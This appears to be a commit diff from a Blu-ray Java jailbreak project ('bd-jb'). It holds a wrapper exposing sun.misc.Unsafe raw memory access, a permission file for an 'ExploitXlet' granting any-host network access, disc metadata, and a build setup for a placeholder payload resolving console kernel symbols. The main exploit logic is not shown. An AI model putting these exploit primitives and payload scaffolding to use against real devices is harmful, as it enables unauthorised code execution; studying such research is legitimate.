unsafe.putLong(address, x);
|
||||
}
|
||||
|
||||
public void putObject(Object o, long offset, Object x) {
|
||||
unsafe.putObject(o, offset, x);
|
||||
}
|
||||
|
||||
public long objectFieldOffset(Field f) {
|
||||
return unsafe.objectFieldOffset(f);
|
||||
}
|
||||
|
||||
public long allocateMemory(long bytes) {
|
||||
return unsafe.allocateMemory(bytes);
|
||||
}
|
||||
|
||||
public long reallocateMemory(long address, long bytes) {
|
||||
return unsafe.reallocateMemory(address, bytes);
|
||||
}
|
||||
|
||||
public void freeMemory(long address) {
|
||||
unsafe.freeMemory(address);
|
||||
}
|
||||
}
|
84
com/bdjb/UnsafeSunImpl.java
Normal file
84
com/bdjb/UnsafeSunImpl.java
Normal file
@ -0,0 +1,84 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
class UnsafeSunImpl implements UnsafeInterface {
|
||||
private static final String UNSAFE_CLASS_NAME = "sun.misc.Unsafe";
|
||||
private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe";
|
||||
|
||||
private final Unsafe unsafe;
|
||||
|
||||
UnsafeSunImpl() throws Exception {
|
||||
// Throw exception if class does not exist.
|
||||
Class.forName(UNSAFE_CLASS_NAME);
|
||||
|
||||
// Get unsafe instance.
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME);
|
||||
theUnsafeField.setAccessible(true);
|
||||
unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
}
|
||||
|
||||
public byte getByte(long address) {
|
||||
return unsafe.getByte(address);
|
||||
}
|
||||
|
||||
public short getShort(long address) {
|
||||
return unsafe.getShort(address);
|
||||
}
|
||||
|
||||
public int getInt(long address) {
|
||||
return unsafe.getInt(address);
|
||||
}
|
||||
|
||||
public long getLong(long address) {
|
||||
return unsafe.getLong(address);
|
||||
}
|
||||
|
||||
public long getLong(Object o, long offset) {
|
||||
return unsafe.getLong(o, offset);
|
||||
}
|
||||
|
||||
public void putByte(long address, byte x) {
|
||||
unsafe.putByte(address, x);
|
||||
}
|
||||
|
||||
public void putShort(long address, short x) {
|
||||
unsafe.putShort(address, x);
|
||||
}
|
||||
|
||||
public void putInt(long address, int x) {
|
||||
unsafe.putInt(address, x);
|
||||
}
|
||||
|
||||
public void putLong(long address, long x) {
|
||||
unsafe.putLong(address, x);
|
||||
}
|
||||
|
||||
public void putObject(Object o, long offset, Object x) {
|
||||
unsafe.putObject(o, offset, x);
|
||||
}
|
||||
|
||||
public long objectFieldOffset(Field f) {
|
||||
return unsafe.objectFieldOffset(f);
|
||||
}
|
||||
|
||||
public long allocateMemory(long bytes) {
|
||||
return unsafe.allocateMemory(bytes);
|
||||
}
|
||||
|
||||
public long reallocateMemory(long address, long bytes) {
|
||||
return unsafe.reallocateMemory(address, bytes);
|
||||
}
|
||||
|
||||
public void freeMemory(long address) {
|
||||
unsafe.freeMemory(address);
|
||||
}
|
||||
}
|
12
com/bdjb/bluray.ExploitXlet.perm
Normal file
12
com/bdjb/bluray.ExploitXlet.perm
Normal file
@ -0,0 +1,12 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<n:permissionrequestfile xmlns:n="urn:BDA:bdmv;PRF" orgid="0x56789abc" appid="0x4000">
|
||||
<applifecyclecontrol value="true"></applifecyclecontrol>
|
||||
<bd-bindingunitarea value="true"></bd-bindingunitarea>
|
||||
<bd-vfs value="true"></bd-vfs>
|
||||
<file value="true"></file>
|
||||
<network>
|
||||
<host action="accept,connect,listen,resolve">*</host>
|
||||
</network>
|
||||
<servicesel value="true"></servicesel>
|
||||
<userpreferences read="true" write="true"></userpreferences>
|
||||
</n:permissionrequestfile>
|
BIN
disc/BDMV/META/DL/bdjb.jpg
Normal file
BIN
disc/BDMV/META/DL/bdjb.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 56 KiB |
17
disc/BDMV/META/DL/bdmt_eng.xml
Normal file
17
disc/BDMV/META/DL/bdmt_eng.xml
Normal file
@ -0,0 +1,17 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<disclib xmlns="urn:BDA:bdmv;disclib">
|
||||
<di:discinfo xmlns:di="urn:BDA:bdmv;discinfo">
|
||||
<di:title>
|
||||
<di:name>bd-jb</di:name>
|
||||
<di:numSets>1</di:numSets>
|
||||
<di:setNumber>1</di:setNumber>
|
||||
</di:title>
|
||||
<di:description>
|
||||
<di:tableOfContents>
|
||||
<di:titleName titleNumber="1">bd-jb</di:titleName>
|
||||
</di:tableOfContents>
|
||||
<di:thumbnail href="bdjb.jpg"/>
|
||||
</di:description>
|
||||
<di:language>eng</di:language>
|
||||
</di:discinfo>
|
||||
</disclib>
|
BIN
disc/CERTIFICATE/app.discroot.crt
Normal file
BIN
disc/CERTIFICATE/app.discroot.crt
Normal file
Binary file not shown.
BIN
disc/CERTIFICATE/bu.discroot.crt
Normal file
BIN
disc/CERTIFICATE/bu.discroot.crt
Normal file
Binary file not shown.
49
jdk/internal/misc/Unsafe.java
Normal file
49
jdk/internal/misc/Unsafe.java
Normal file
@ -0,0 +1,49 @@
|
||||
package jdk.internal.misc;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
public class Unsafe {
|
||||
public byte getByte(long address) {
|
||||
return 42;
|
||||
}
|
||||
|
||||
public short getShort(long address) {
|
||||
return 42;
|
||||
}
|
||||
|
||||
public int getInt(long address) {
|
||||
return 42;
|
||||
}
|
||||
|
||||
public long getLong(long address) {
|
||||
return 42;
|
||||
}
|
||||
|
||||
public long getLong(Object o, long offset) {
|
||||
return 42;
|
||||
}
|
||||
|
||||
public void putByte(long address, byte x) {}
|
||||
|
||||
public void putShort(long address, short x) {}
|
||||
|
||||
public void putInt(long address, int x) {}
|
||||
|
||||
public void putLong(long address, long x) {}
|
||||
|
||||
public void putObject(Object o, long offset, Object x) {}
|
||||
|
||||
public long objectFieldOffset(Field f) {
|
||||
return 42;
|
||||
}
|
||||
|
||||
public long allocateMemory(long bytes) {
|
||||
return 42;
|
||||
}
|
||||
|
||||
public long reallocateMemory(long address, long bytes) {
|
||||
return 42;
|
||||
}
|
||||
|
||||
public void freeMemory(long address) {}
|
||||
}
|
BIN
keystore.store
Normal file
BIN
keystore.store
Normal file
Binary file not shown.
19
payload/Makefile
Normal file
19
payload/Makefile
Normal file
@ -0,0 +1,19 @@
|
||||
TARGET = payload
|
||||
OBJS = start.o payload.o
|
||||
|
||||
CC = gcc
|
||||
AS = as
|
||||
OBJCOPY = objcopy
|
||||
CFLAGS = -Os -fno-stack-protector -fpic -fpie
|
||||
LDFLAGS = -T linker.x -nostdlib -nostartfiles
|
||||
|
||||
all: $(TARGET).bin
|
||||
|
||||
%.bin: %.elf
|
||||
$(OBJCOPY) -S -O binary $^ $@
|
||||
|
||||
$(TARGET).elf: $(OBJS)
|
||||
$(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS)
|
||||
|
||||
clean:
|
||||
@rm -f $(TARGET).bin $(TARGET).elf $(OBJS)
|
9
payload/linker.x
Normal file
9
payload/linker.x
Normal file
@ -0,0 +1,9 @@
|
||||
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
|
||||
OUTPUT_ARCH(i386:x86-64)
|
||||
|
||||
ENTRY(_start)
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x916300000;
|
||||
}
|
7
payload/payload.c
Normal file
7
payload/payload.c
Normal file
@ -0,0 +1,7 @@
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
int payload(int (* sceKernelDlsym)(int handle, const char *symbol, uintptr_t *address)) {
|
||||
return 1337;
|
||||
}
|
2
payload/start.S
Normal file
2
payload/start.S
Normal file
@ -0,0 +1,2 @@
|
||||
_start:
|
||||
jmp payload
|
Loading…
Reference in New Issue
Block a user